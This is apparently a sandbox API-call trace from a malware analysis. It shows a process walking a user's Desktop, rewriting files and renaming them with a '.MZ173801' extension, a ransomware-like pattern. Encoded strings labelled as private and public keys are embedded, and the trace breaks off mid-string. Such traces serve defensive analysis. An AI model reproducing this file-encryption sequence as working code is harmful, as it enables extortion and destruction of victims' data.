lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3f3b05fd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x3f3b05fd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.759] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3f3b05fd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x3f3b05fd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.759] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bd54f60, ftCreationTime.dwHighDateTime=0x1d5f0c1, ftLastAccessTime.dwLowDateTime=0x768157b0, ftLastAccessTime.dwHighDateTime=0x1d5e683, ftLastWriteTime.dwLowDateTime=0x768157b0, ftLastWriteTime.dwHighDateTime=0x1d5e683, nFileSizeHigh=0x0, nFileSizeLow=0x16fe1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-0ebDk.pptx", cAlternateFileName="-0EBDK~1.PPT")) returned 1 [0172.759] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.759] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.759] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-0ebDk.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\-0ebdk.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bd54f60, ftCreationTime.dwHighDateTime=0x1d5f0c1, ftLastAccessTime.dwLowDateTime=0x768157b0, ftLastAccessTime.dwHighDateTime=0x1d5e683, ftLastWriteTime.dwLowDateTime=0x768157b0, ftLastWriteTime.dwHighDateTime=0x1d5e683, nFileSizeHigh=0x0, nFileSizeLow=0x16fe1)) returned 1 [0172.760] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-0ebDk.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\-0ebdk.pptx")) returned 0x20 [0172.760] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-0ebDk.pptx", dwFileAttributes=0x80) returned 1 [0173.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0173.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0173.761] GetCurrentThreadId () returned 0xab4 [0173.761] GetCurrentThreadId () returned 0xab4 [0173.761] GetCurrentThreadId () returned 0xab4 [0173.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0173.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0173.763] GetCurrentThreadId () returned 0xab4 [0173.763] GetCurrentThreadId () returned 0xab4 [0173.763] GetCurrentThreadId () returned 0xab4 [0173.763] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-0ebDk.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\-0ebdk.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0173.763] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0173.763] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0173.763] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x16fe1 [0173.763] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0173.763] ReadFile (in: hFile=0x284, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x16fe1, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x16fe1, lpOverlapped=0x0) returned 1 [0173.765] CloseHandle (hObject=0x284) returned 1 [0173.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-0ebDk.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\-0ebdk.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0173.893] WriteFile (in: hFile=0x284, lpBuffer=0x24b8040*, nNumberOfBytesToWrite=0x16fe1, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b8040*, lpNumberOfBytesWritten=0x19fa24*=0x16fe1, lpOverlapped=0x0) returned 1 [0173.981] CloseHandle (hObject=0x284) returned 1 [0174.085] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\-0ebDk.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\-0ebdk.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\-0ebDk.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\-0ebdk.pptx.mz173801")) returned 1 [0174.194] GetCurrentThreadId () returned 0xab4 [0174.194] GetCurrentThreadId () returned 0xab4 [0174.194] GetCurrentThreadId () returned 0xab4 [0174.194] GetCurrentThreadId () returned 0xab4 [0174.194] GetCurrentThreadId () returned 0xab4 [0174.194] GetCurrentThreadId () returned 0xab4 [0174.194] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b73420, ftCreationTime.dwHighDateTime=0x1d5ece4, ftLastAccessTime.dwLowDateTime=0x42e98dc0, ftLastAccessTime.dwHighDateTime=0x1d5ef8c, ftLastWriteTime.dwLowDateTime=0x42e98dc0, ftLastWriteTime.dwHighDateTime=0x1d5ef8c, nFileSizeHigh=0x0, nFileSizeLow=0x1496c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-1A7SasGu.swf", cAlternateFileName="-1A7SA~1.SWF")) returned 1 [0174.194] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0174.194] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0174.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-1A7SasGu.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\-1a7sasgu.swf"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b73420, ftCreationTime.dwHighDateTime=0x1d5ece4, ftLastAccessTime.dwLowDateTime=0x42e98dc0, ftLastAccessTime.dwHighDateTime=0x1d5ef8c, ftLastWriteTime.dwLowDateTime=0x42e98dc0, ftLastWriteTime.dwHighDateTime=0x1d5ef8c, nFileSizeHigh=0x0, nFileSizeLow=0x1496c)) returned 1 [0174.194] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-1A7SasGu.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\-1a7sasgu.swf")) returned 0x20 [0174.194] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-1A7SasGu.swf", dwFileAttributes=0x80) returned 1 [0174.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/Cq